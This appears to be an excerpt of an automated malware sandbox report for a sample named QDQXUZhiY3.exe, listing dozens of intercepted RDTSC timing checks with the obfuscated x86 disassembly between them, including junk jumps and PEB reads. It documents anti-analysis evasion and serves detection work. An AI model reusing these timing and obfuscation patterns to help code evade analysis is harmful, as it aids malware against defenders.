Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCB19 second address: 16CCB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CCB1E second address: 16CCB56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Bh 0x00000007 jmp 00007F63F87E545Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F63F87E5475h 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F63F87E5456h 0x0000001c jmp 00007F63F87E545Fh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CA603 second address: 16CA612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F63F87E3376h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16CA612 second address: 16CA616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16DC4BB second address: 16DC4C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A9DD9 second address: 17A9E11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F63F87E5468h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63F87E5468h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A9E11 second address: 17A9E17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A9E17 second address: 17A9E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A9E1B second address: 17A9E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A8CE3 second address: 17A8CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A8CE7 second address: 17A8CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A8FA1 second address: 17A8FB0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F63F87E5456h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A8FB0 second address: 17A8FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A9261 second address: 17A926A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A96B2 second address: 17A96B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A96B7 second address: 17A96C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F63F87E545Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A9848 second address: 17A984E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A984E second address: 17A9882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E545Fh 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c jmp 00007F63F87E5463h 0x00000011 popad 0x00000012 jne 00007F63F87E547Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A9882 second address: 17A988C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F63F87E3376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17A988C second address: 17A9890 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17AB50A second address: 17AB514 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F63F87E337Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 17AFB0B second address: 17AFB14 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990007 second address: 799006A instructions: 0x00000000 rdtsc 0x00000002 call 00007F63F87E3388h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov bh, 85h 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f push ecx 0x00000010 mov ah, bl 0x00000012 pop esi 0x00000013 mov ebx, 14914FD4h 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F63F87E337Ah 0x0000001f xchg eax, ebp 0x00000020 jmp 00007F63F87E3380h 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F63F87E3387h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799006A second address: 7990138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F63F87E545Fh 0x00000009 jmp 00007F63F87E5463h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F63F87E5468h 0x00000015 add al, 00000078h 0x00000018 jmp 00007F63F87E545Bh 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 mov eax, dword ptr fs:[00000030h] 0x00000027 pushad 0x00000028 movzx ecx, bx 0x0000002b pushfd 0x0000002c jmp 00007F63F87E5461h 0x00000031 and ax, FC16h 0x00000036 jmp 00007F63F87E5461h 0x0000003b popfd 0x0000003c popad 0x0000003d sub esp, 18h 0x00000040 jmp 00007F63F87E545Eh 0x00000045 xchg eax, ebx 0x00000046 jmp 00007F63F87E5460h 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007F63F87E545Ch 0x00000055 and cx, 5A98h 0x0000005a jmp 00007F63F87E545Bh 0x0000005f popfd 0x00000060 mov bx, si 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990138 second address: 7990189 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F63F87E337Bh 0x00000008 pop ecx 0x00000009 call 00007F63F87E3389h 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xchg eax, ebx 0x00000013 jmp 00007F63F87E3387h 0x00000018 mov ebx, dword ptr [eax+10h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov bx, 1C46h 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990189 second address: 79901A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E5469h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79901A6 second address: 79901AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79901AA second address: 79901CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F63F87E5469h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79901CE second address: 799027D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007F63F87E337Eh 0x00000011 mov esi, dword ptr [761C06ECh] 0x00000017 jmp 00007F63F87E3380h 0x0000001c test esi, esi 0x0000001e pushad 0x0000001f mov ecx, 7943926Dh 0x00000024 mov dx, ax 0x00000027 popad 0x00000028 jne 00007F63F87E4088h 0x0000002e pushad 0x0000002f call 00007F63F87E3382h 0x00000034 call 00007F63F87E3382h 0x00000039 pop esi 0x0000003a pop edx 0x0000003b pushfd 0x0000003c jmp 00007F63F87E3380h 0x00000041 adc ax, ED98h 0x00000046 jmp 00007F63F87E337Bh 0x0000004b popfd 0x0000004c popad 0x0000004d xchg eax, edi 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 call 00007F63F87E3382h 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799027D second address: 7990297 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, 1F98B4C2h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edi, 7F2A6F28h 0x00000015 mov di, 55D4h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990297 second address: 79902B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 6DDDCC1Fh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F63F87E337Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79902B1 second address: 79902B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79902B7 second address: 79902BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79902BB second address: 7990333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call dword ptr [76190B60h] 0x0000000e mov eax, 758CD620h 0x00000013 ret 0x00000014 pushad 0x00000015 push edi 0x00000016 mov ax, 5A91h 0x0000001a pop eax 0x0000001b mov ax, bx 0x0000001e popad 0x0000001f push 00000044h 0x00000021 jmp 00007F63F87E5469h 0x00000026 pop edi 0x00000027 jmp 00007F63F87E545Eh 0x0000002c xchg eax, edi 0x0000002d jmp 00007F63F87E5460h 0x00000032 push eax 0x00000033 jmp 00007F63F87E545Bh 0x00000038 xchg eax, edi 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F63F87E5465h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990333 second address: 7990359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63F87E337Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990359 second address: 799035E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799035E second address: 79903AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr fs:[00000030h] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F63F87E3384h 0x00000014 xor ax, 8098h 0x00000019 jmp 00007F63F87E337Bh 0x0000001e popfd 0x0000001f mov esi, 64F1B64Fh 0x00000024 popad 0x00000025 push dword ptr [eax+18h] 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F63F87E3381h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79903FD second address: 7990401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990401 second address: 7990407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990407 second address: 799040D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799040D second address: 7990411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990411 second address: 7990489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F6466F946B9h 0x00000011 jmp 00007F63F87E5460h 0x00000016 sub eax, eax 0x00000018 pushad 0x00000019 mov edi, 3984FB92h 0x0000001e push ebx 0x0000001f mov edx, esi 0x00000021 pop eax 0x00000022 popad 0x00000023 mov dword ptr [esi], edi 0x00000025 pushad 0x00000026 push edx 0x00000027 pushfd 0x00000028 jmp 00007F63F87E545Ah 0x0000002d or eax, 2DA22BA8h 0x00000033 jmp 00007F63F87E545Bh 0x00000038 popfd 0x00000039 pop eax 0x0000003a mov bh, 9Fh 0x0000003c popad 0x0000003d mov dword ptr [esi+04h], eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F63F87E5467h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990489 second address: 799050B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+08h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F63F87E337Ch 0x00000013 jmp 00007F63F87E3385h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F63F87E3380h 0x0000001f sub esi, 15A53DF8h 0x00000025 jmp 00007F63F87E337Bh 0x0000002a popfd 0x0000002b popad 0x0000002c mov dword ptr [esi+0Ch], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F63F87E3385h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799050B second address: 7990548 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5461h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+4Ch] 0x0000000c pushad 0x0000000d mov di, si 0x00000010 push eax 0x00000011 call 00007F63F87E545Fh 0x00000016 pop ecx 0x00000017 pop edi 0x00000018 popad 0x00000019 mov dword ptr [esi+10h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov si, bx 0x00000022 mov di, 4E00h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799063E second address: 7990644 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990644 second address: 7990676 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+20h], eax 0x0000000c jmp 00007F63F87E5460h 0x00000011 mov eax, dword ptr [ebx+60h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov edi, 36FE8100h 0x0000001c movsx edi, ax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990676 second address: 799067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799067C second address: 79906AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+24h], eax 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f mov bx, AB06h 0x00000013 popad 0x00000014 mov eax, dword ptr [ebx+64h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F63F87E5468h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79906AD second address: 79906B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79906B3 second address: 79906B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79906B7 second address: 79906FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+28h], eax 0x0000000e jmp 00007F63F87E337Eh 0x00000013 mov eax, dword ptr [ebx+68h] 0x00000016 pushad 0x00000017 mov edi, ecx 0x00000019 mov di, cx 0x0000001c popad 0x0000001d mov dword ptr [esi+2Ch], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F63F87E337Eh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79906FA second address: 7990709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990709 second address: 799070F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799070F second address: 7990713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990713 second address: 7990789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [ebx+6Ch] 0x0000000c jmp 00007F63F87E3387h 0x00000011 mov word ptr [esi+30h], ax 0x00000015 pushad 0x00000016 push eax 0x00000017 mov ah, dh 0x00000019 pop ecx 0x0000001a pushfd 0x0000001b jmp 00007F63F87E337Dh 0x00000020 adc si, E9E6h 0x00000025 jmp 00007F63F87E3381h 0x0000002a popfd 0x0000002b popad 0x0000002c mov ax, word ptr [ebx+00000088h] 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushfd 0x00000037 jmp 00007F63F87E337Ah 0x0000003c sbb ch, FFFFFF88h 0x0000003f jmp 00007F63F87E337Bh 0x00000044 popfd 0x00000045 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990789 second address: 799078D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799078D second address: 799084A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F63F87E3386h 0x0000000c and ah, FFFFFFE8h 0x0000000f jmp 00007F63F87E337Bh 0x00000014 popfd 0x00000015 popad 0x00000016 mov word ptr [esi+32h], ax 0x0000001a jmp 00007F63F87E3386h 0x0000001f mov eax, dword ptr [ebx+0000008Ch] 0x00000025 pushad 0x00000026 pushad 0x00000027 mov dh, al 0x00000029 pushfd 0x0000002a jmp 00007F63F87E3389h 0x0000002f and esi, 7DC6AF66h 0x00000035 jmp 00007F63F87E3381h 0x0000003a popfd 0x0000003b popad 0x0000003c mov ax, D397h 0x00000040 popad 0x00000041 mov dword ptr [esi+34h], eax 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 push ebx 0x00000048 pop esi 0x00000049 pushfd 0x0000004a jmp 00007F63F87E337Bh 0x0000004f sub si, 3A9Eh 0x00000054 jmp 00007F63F87E3389h 0x00000059 popfd 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 799084A second address: 79908CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F63F87E5467h 0x00000009 sbb ax, C4AEh 0x0000000e jmp 00007F63F87E5469h 0x00000013 popfd 0x00000014 call 00007F63F87E5460h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, dword ptr [ebx+18h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 pushfd 0x00000026 jmp 00007F63F87E5468h 0x0000002b xor si, 4088h 0x00000030 jmp 00007F63F87E545Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79908CB second address: 79908E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dx, DBB8h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esi+38h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F63F87E337Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79908E6 second address: 79908EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79908EC second address: 799095C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+1Ch] 0x0000000b jmp 00007F63F87E3389h 0x00000010 mov dword ptr [esi+3Ch], eax 0x00000013 pushad 0x00000014 mov dx, ax 0x00000017 call 00007F63F87E3388h 0x0000001c mov eax, 367952C1h 0x00000021 pop eax 0x00000022 popad 0x00000023 mov eax, dword ptr [ebx+20h] 0x00000026 pushad 0x00000027 jmp 00007F63F87E3383h 0x0000002c mov ah, 6Dh 0x0000002e popad 0x0000002f mov dword ptr [esi+40h], eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 movzx esi, di 0x00000038 push edx 0x00000039 pop esi 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990A55 second address: 7990A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990A5B second address: 7990A5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990ACB second address: 7990B26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bh 0x00000005 pushfd 0x00000006 jmp 00007F63F87E545Ah 0x0000000b sbb ch, 00000028h 0x0000000e jmp 00007F63F87E545Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test edi, edi 0x00000019 jmp 00007F63F87E5466h 0x0000001e js 00007F6466F93FF4h 0x00000024 jmp 00007F63F87E5460h 0x00000029 mov eax, dword ptr [ebp-0Ch] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push edi 0x00000030 pop eax 0x00000031 push edx 0x00000032 pop eax 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990B26 second address: 7990B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990B2C second address: 7990B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990B30 second address: 7990B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+04h], eax 0x0000000b pushad 0x0000000c mov di, ax 0x0000000f mov ecx, 2FB89671h 0x00000014 popad 0x00000015 lea eax, dword ptr [ebx+78h] 0x00000018 jmp 00007F63F87E337Ch 0x0000001d push 00000001h 0x0000001f jmp 00007F63F87E3380h 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7990B6D second address: 7990B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
